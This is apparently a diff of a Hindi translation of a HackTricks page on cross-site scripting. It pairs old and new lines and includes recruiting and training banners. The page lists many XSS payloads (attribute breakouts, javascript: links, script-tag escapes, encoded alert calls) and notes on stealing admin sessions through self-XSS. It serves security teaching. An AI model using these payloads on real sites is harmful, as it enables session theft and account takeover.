यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,22 +1,22 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
## पद्धति
## कार्यप्रणाली
1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परिलक्षित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**
2. **संदर्भ खोजें** जहां यह परिलक्षित/उपयोग किया गया है।
3. यदि **परिलक्षित** है:
1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परावर्तित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**
2. **संदर्भ खोजें** जहां यह परावर्तित/उपयोग किया गया है।
3. यदि **परावर्तित** है:
1. जांचें **आप कौन से प्रतीकों का उपयोग कर सकते हैं** और उसके आधार पर, पेलोड तैयार करें:
1. **कच्चे HTML** में:
1. क्या आप नए HTML टैग बना सकते हैं?
2. क्या आप `javascript:` प्रोटोकॉल का समर्थन करने वाले इवेंट या विशेषताएँ उपयोग कर सकते हैं?
3. क्या आप सुरक्षा को बायपास कर सकते हैं?
4. क्या HTML सामग्री को किसी क्लाइंट साइड JS इंजन (_AngularJS_, _VueJS_, _Mavo_...) द्वारा व्याख्यायित किया जा रहा है, आप [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md) का दुरुपयोग कर सकते हैं।
4. क्या HTML सामग्री किसी क्लाइंट साइड JS इंजन (_AngularJS_, _VueJS_, _Mavo_...) द्वारा व्याख्यायित की जा रही है, आप [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md) का दुरुपयोग कर सकते हैं।
5. यदि आप JS कोड निष्पादित करने वाले HTML टैग नहीं बना सकते हैं, तो क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/) का दुरुपयोग कर सकते हैं?
2. एक **HTML टैग** के अंदर:
1. क्या आप कच्चे HTML संदर्भ में बाहर निकल सकते हैं?
@ -28,10 +28,10 @@
2. क्या आप स्ट्रिंग को बचा सकते हैं और विभिन्न JS कोड निष्पादित कर सकते हैं?
3. क्या आपका इनपुट टेम्पलेट लिटेरल \`\` में है?
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
4. Javascript **फंक्शन** जो **निष्पादित** हो रहा है:
1. आप निष्पादित करने के लिए फंक्शन का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. यदि **उपयोग किया गया**:
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया गया है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
@ -39,31 +39,31 @@
[debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %}
## परिलक्षित मान
## परावर्तित मान
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परिलक्षित हो रहा है**।
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है**।
* **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप **परिलक्षित XSS** का शोषण कर सकते हैं।
* **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
* **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँच रहा है, तो आप **DOM XSS** का शोषण कर सकते हैं।
* **अंतरिम रूप से परावर्तित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परावर्तित हो रहा है, तो आप **परावर्तित XSS** का शोषण कर सकते हैं।
* **संग्रहीत और परावर्तित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परावर्तित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
* **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँचाया जा रहा है, तो आप **DOM XSS** का शोषण कर सकते हैं।
## संदर्भ
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परिलक्षित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परावर्तित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
### कच्चा HTML
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** हो रहा है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करने की आवश्यकता होगी: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
### HTML टैग विशेषता के अंदर
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित है, तो आप कोशिश कर सकते हैं:
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित हो रहा है, तो आप कोशिश कर सकते हैं:
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित हो रहा है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
```html
@ -73,7 +73,7 @@ XSS का सफलतापूर्वक शोषण करने के
```
### Inside JavaScript code
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करते हुए एक विशेषता के अंदर परिलक्षित होता है:
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
* यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए, यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
* यदि **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
@ -258,7 +258,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Inside the tag/escaping from attribute value
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल उद्धरण चिह्नों का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,7 +275,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### Within the attribute
यहां तक कि अगर आप **attribute से बाहर नहीं निकल सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **आपका मान किस attribute में परिलक्षित हो रहा है** **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
@ -309,7 +309,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### विशेष प्रोटोकॉल विशेषता के भीतर
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
```javascript
@ -416,7 +416,7 @@ From [**यहाँ**](https://portswigger.net/research/exploiting-xss-in-hidde
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
और **meta tags** में:
और **मेटा टैग्स** में:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -466,15 +466,15 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
> \<a href="" id=someid class=test onclick=alert() a="">
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट्स के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने जा रहा है।
### \<script> टैग को एस्केप करना
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से **`<script>`** टैग को बंद करके **एस्केप** कर सकते हैं:
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से `<script>` टैग को **एस्केप** कर सकते हैं:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -491,7 +491,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
### Template literals \`\`
**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
इसका **दुरुपयोग** किया जा सकता है:
```javascript
@ -511,7 +511,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
```
### यूनिकोड एन्कोड JS निष्पादन
### यूनिकोड एन्कोड जेएस निष्पादन
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -536,7 +536,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**विशेष एस्केप**
**विशेष एस्केप्स**
```javascript
'\b' //backspace
'\f' //form feed
@ -555,7 +555,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **कौशल)**
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **चालाकी)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -736,20 +736,20 @@ top[8680439..toString(30)](1)
## **DOM कमजोरियाँ**
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
**व्याख्या के विस्तार के कारण** [**DOM कमजोरियों को इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
**DOM कमजोरियों के विवरण के विस्तार के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के बारे में**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
वहाँ आपको **DOM कमजोरियों के बारे में विस्तृत व्याख्या मिलेगी, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है**।\
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण मिलेगा**।\
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
### Self-XSS को अपग्रेड करना
### स्वयं-XSS को अपग्रेड करना
### कुकी XSS
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेन (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक स्वयं-XSS होता है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -759,13 +759,13 @@ top[8680439..toString(30)](1)
### अपने सत्र को व्यवस्थापक को भेजना
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि स्वयं XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
### सत्र मिररिंग
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
यदि आप कुछ स्वयं XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
आप **व्यवस्थापक को आपके स्वयं XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
## अन्य बायपास
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
यदि आप पाते हैं कि आप **302 Redirect प्रतिक्रिया में हेडर इंजेक्ट कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया शरीर को नहीं समझते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड बेकार है।
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस रिपोर्ट**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`.
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे स्थान हेडर के अंदर कई प्रोटोकॉल का परीक्षण कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS पेलोड को शरीर के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली स्थान हेडर_, `resource://`
### केवल अक्षर, संख्या और बिंदु
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
यदि आप यह इंगित करने में सक्षम हैं कि **callback** जो JavaScript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
### XSS के लिए मान्य `<script>` Content-Types
### XSS के लिए मान्य `<script>` सामग्री-प्रकार
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **content-type** के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **सामग्री-प्रकार** के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
> [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') से स्क्रिप्ट निष्पादित करने से इनकार कर दिया गया क्योंकि इसका MIME प्रकार (application/octet-stream) निष्पादित नहीं किया जा सकता है, और सख्त MIME प्रकार जांच सक्षम है।
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो स्थिर **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
The answer is:
